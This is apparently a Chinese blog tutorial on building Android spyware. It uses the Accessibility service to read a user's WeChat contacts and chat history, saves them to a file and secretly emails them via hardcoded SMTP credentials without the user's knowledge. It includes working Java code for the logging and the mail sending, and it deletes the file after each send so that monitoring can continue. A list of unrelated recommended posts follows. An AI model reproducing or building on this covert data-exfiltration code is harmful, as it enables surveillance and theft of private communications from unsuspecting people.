1. 首先先展示一下效果图:

2. Accessibility机制

Accessibility机制之前已经介绍过了,具体可以查看Accessibility机制实现模拟点击,需要简单的配置(如设置被监听的对象为微信)和实现。此文中介绍了如何通过Accessibility自动抢红包,在这个过程中,很明显,在调用如下代码时,

AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();  

遍历节点,再循环打印其getText()信息,便可以拿到用户通讯录以及聊天记录等信息的。

获取到这些信息后,我们可以暂时写入文件,以备发送。

private void write(String info){
try{
FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND);
PrintStream ps = new PrintStream(fos);
ps.println(info);
ps.close();
}
catch (Exception e) {
e.printStackTrace();
}
}

当然,前提是在被监听用户在我们开启监听后聊过(或者说看到)的记录,否则用户连微信都不打开,我们是无从获取聊天记录等信息的。

本文原创,转载请注明出处:http://blog.csdn.net/seu_calvin/article/details/51917182


2. 后台秘密发邮件

当然,我们监听到这些信息,需要实时地反馈给我们。这里我们采用邮件的形式,通过后台“偷偷地”发送这些信息。

发送后台邮件需要用到三个第三方的库,分别为activation.jar,additionnal.jar,mail.jar。发送邮件的时候需要用到很多信息,包括发送邮件的服务器的IP和端口、邮件发送者的地址、邮件接收者的地址、登陆邮件发送服务器的用户名和密码、邮件主题、邮件的文本内容等等。

这里需要注意的是,我们后台发邮件需要账号密码等敏感信息,这些邮件信息,除了邮件的文本内容信息,其他的信息我们都可以在程序里面编写好,这样便可以实现在用户未知的情况下,将用户的个人隐私信息作为邮件的文本内容,从应用程序目录下的文件内取出,完成后台发送。

还有一点需要注意的是,在完成后台秘密发送的同时,需要将存放敏感信息的的文件进行删除,以此来防止部分内容的重复发送。删除之后,重新开始监听用户信息,若信息有效,便重新创建文件写入信息,当达到设定好的发送条件时,再进行后台邮件发送,以此循环,来达到一直监听的目的。具体的发送时机,删除暂时保存数据的文件的时机等等,可以自定义实现。

核心代码展示如下:

                        //发送邮件
MailSenderInfo mailInfo = new MailSenderInfo();
mailInfo.setMailServerHost("smtp.163.com");
mailInfo.setMailServerPort("25");
mailInfo.setValidate(true);
mailInfo.setUserName(userid); //你的邮箱地址
mailInfo.setPassword(password);//您的邮箱密码
mailInfo.setFromAddress(from);
mailInfo.setToAddress(to);
mailInfo.setSubject(subject);
mailInfo.setContent(read());
//这个类主要来发送邮件
SimpleMailSender sms = new SimpleMailSender();
//发送文体格式
sms.sendTextMail(mailInfo);

其中SimpleMailSender类展示如下,MyAuthenticator类需要继承Authenticator类,主要是在getPasswordAuthentication()方法中返回封装好的类型为PasswordAuthentication的鉴权结果即可。

public class SimpleMailSender
{
/**
* 以文本格式发送邮件
* @param mailInfo 待发送的邮件的信息
*/
public boolean sendTextMail(MailSenderInfo mailInfo){
// 判断是否需要身份认证
MyAuthenticator authenticator = null;
Properties pro = mailInfo.getProperties();
if (mailInfo.isValidate())
{
// 如果需要身份认证,则创建一个密码验证器
authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());
}
// 根据邮件会话属性和密码验证器构造一个发送邮件的session
Session sendMailSession = Session.getDefaultInstance(pro,authenticator);
try
{
// 根据session创建一个邮件消息
Message mailMessage = new MimeMessage(sendMailSession);
// 创建邮件发送者地址
Address from = new InternetAddress(mailInfo.getFromAddress());
// 设置邮件消息的发送者
mailMessage.setFrom(from);
// 创建邮件的接收者地址,并设置到邮件消息中
Address to = new InternetAddress(mailInfo.getToAddress());
mailMessage.setRecipient(Message.RecipientType.TO,to);
// 设置邮件消息的主题
mailMessage.setSubject(mailInfo.getSubject());
// 设置邮件消息发送的时间
mailMessage.setSentDate(new Date());
// 设置邮件消息的主要内容
String mailContent = mailInfo.getContent();
mailMessage.setText(mailContent);
// 发送邮件
Transport.send(mailMessage);
}
catch (MessagingException ex){
ex.printStackTrace();
}
return false;
}
}

MailSenderInfo类展示如下。

public class MailSenderInfo {
// 发送邮件的服务器的IP和端口
private String mailServerHost = Constant.SERVICE_IP;
private String mailServerPort = Constant.SERVICE_PORT;//一般为25
// 邮件发送者的地址
private String fromAddress;
// 邮件接收者的地址
private String toAddress;
// 登陆邮件发送服务器的用户名和密码
private String userName;
private String password;
// 是否需要身份验证
private boolean validate = true;
// 邮件主题
private String subject;
// 邮件的文本内容
private String content;
/**
* 获得邮件会话属性
*/
public Properties getProperties() {
Properties p = new Properties();
p.put("mail.smtp.host", this.mailServerHost);
p.put("mail.smtp.port", this.mailServerPort);
p.put("mail.smtp.auth", "true");
return p;
}
public String getMailServerHost() {
return mailServerHost;
}
public void setMailServerHost(String mailServerHost) {
this.mailServerHost = mailServerHost;
}
public String getMailServerPort() {
return mailServerPort;
}
public void setMailServerPort(String mailServerPort) {
this.mailServerPort = mailServerPort;
}
public boolean isValidate() {
return validate;
}
public void setValidate(boolean validate) {
this.validate = validate;
}
public String getFromAddress(){
return fromAddress;
}
public void setFromAddress(String fromAddress){
this.fromAddress = fromAddress;
}
public String getPassword(){
return password;
}
public void setPassword(String password){
this.password = password;
}
public String getToAddress(){
return toAddress;
}
public void setToAddress(String toAddress){
this.toAddress = toAddress;
}
public String getUserName(){
return userName;
}
public void setUserName(String userName){
this.userName = userName;
}
public String getSubject(){
return subject;
}
public void setSubject(String subject){
this.subject = subject;
}
public String getContent(){
return content;
}
public void setContent(String textContent){
this.content = textContent;
}
}

Android开发——获取微信聊天记录(后台秘密发邮件)的更多相关文章

  1. Android开发 对接微信分享SDK总结

    原文:Android开发 对接微信分享SDK总结 - Stars-One的杂货小窝 公司项目需要对接微信分享,本来之前准备对接友盟分享的,但友盟的分享实际参数太多,而我又只需要对接一个微信分享,于是便 ...

  2. 用SQLite查看编辑android导出的微信聊天记录

    上一篇我们已经能够完成文字版微信聊天记录导出android了,也即复制或剪切MicroMsg.db文件到电脑,以.db格式结尾的文件是数据库文件(database document),需要安装相关数据 ...

  3. android开发获取网络状态,wifi,wap,2g,3g.工具类(一)

    android开发获取网络状态整理: package com.gzcivil.utils; import android.content.Context; import android.net.Con ...

  4. 发送邮件的几种方法(C#发邮件 和 js前台实现都有)C#后台自动发邮件 js发邮件

    1.后台自动发邮件 1)首先设置邮件参数,这里写在configuration里面 <appSettings> <add key="SMTP" value=&quo ...

  5. Android开发获取多个存储空间的路径(内置SD卡以及外置SD卡)

    Android开发中经常会遇到多存储空间的问题,包括内置存储路径以及外置SD卡,而且有的时候会有多张外置SD卡,此时就需要获取不同的SD卡路径,然后根据需要来写入或者读出文件. 此处给出常用的SD卡工 ...

  6. Android 开发 获取Android设备的屏幕高宽

    获得屏幕的宽度和高度有很多种方法: //1.通过WindowManager获取 DisplayMetrics dm = new DisplayMetrics(); heigth = dm.height ...

  7. H5开发获取微信系统的地址列表

    前段时间做了H5开发的项目,需要是要把微信系统自带的地址也给添加进来,意识也就是说用户可以选择项目的地址和微信自带的地址  效果图是这样的: 对就是这个需求 下面给出H5 页面下的微信添加HTML 然 ...

  8. Android开发 获取视频中的信息(例如预览图或视频时长) MediaMetadataRetriever媒体元数据检索器

    前言 在Android里获取视频的信息主要依靠MediaMetadataRetriever实现 获取最佳视频预览图 所谓的最佳就是MediaMetadataRetriever自己计算的 /** * 获 ...

  9. Android开发 - 获取系统输入法高度的正确姿势

    问题与解决 在Android应用的开发中,有一些需求需要我们获取到输入法的高度,但是官方的API并没有提供类似的方法,所以我们需要自己来实现. 查阅了网上很多资料,试过以后都不理想. 比如有的方法通过 ...

随机推荐

  1. 《统计学习方法》笔记三 k近邻法

    本系列笔记内容参考来源为李航<统计学习方法> k近邻是一种基本分类与回归方法,书中只讨论分类情况.输入为实例的特征向量,输出为实例的类别.k值的选择.距离度量及分类决策规则是k近邻法的三个 ...

  2. 深入理解spark streaming

    spark streaming是建立在spark core之上的,也就说spark streaming任务最终执行还是依赖于RDD模型.在转化成最终的RDD模型执行前,spark streaming主 ...

  3. ios微信浏览器click事件不起作用的解决方法

    $(document).on( "click", ".weui_cell", function (event) {alert(); }); JS代码是这样的,h ...

  4. 自动创建xml文档

    自动创建xml文档 import xml.etree.ElementTree as ET print(dir(ET)) #ET里面有Element方法 root = ET.Element(" ...

  5. JS编写自己的富文本编辑器

    富文本编辑器,网上有很多功能齐全种类丰富的如百度的Ueditor,简单适用型的如WangEditor等等.在经过一番挑选后,我发现都不适用现在的项目,然后决定自己造轮子玩玩.富文本编辑器中主要涉及到J ...

  6. Azure PowerShell 在ARM环境下使用指定 vhd(本地化后的磁盘) 来创建虚拟机

    #此脚本用于 Azure 存储账户中已有 vhd 镜像文件创建虚拟机,一般用于做好镜像测试 #----------------------------------------------------- ...

  7. JDBC基础-setFetchSize方法

    在Statement和ResultSet接口中都有setFetchSize方法 void setFetchSize(int rows) throws SQLException 查看API文档 Stat ...

  8. H3C S5024P交换机互连实验

    第一次周二网络管理实验报告 交换机互联实验 实验接线图: 交换机全貌: 可以通过超级终端和telnet来配置交换机       控制电缆连交换机console口与计算机主机(只可以传送命令不可以通信, ...

  9. Unity3D windows平台视频录制录屏插件 UnityRecorder

    例子:从官方例子简单改了 using UnityEditor;using UnityEditor.Recorder;using UnityEditor.Recorder.Input;using Sys ...

  10. RGB颜色空间、色调、饱和度、亮度,HSV颜色空间详解

    本文章会详细的介绍RGB颜色空间与RGB三色中色调.饱和度.亮度之间的关系,最后会介绍HSV颜色空间! RGB颜色空间 概述 RGB颜色空间以R(Red:红).G(Green:绿).B(Blue:蓝) ...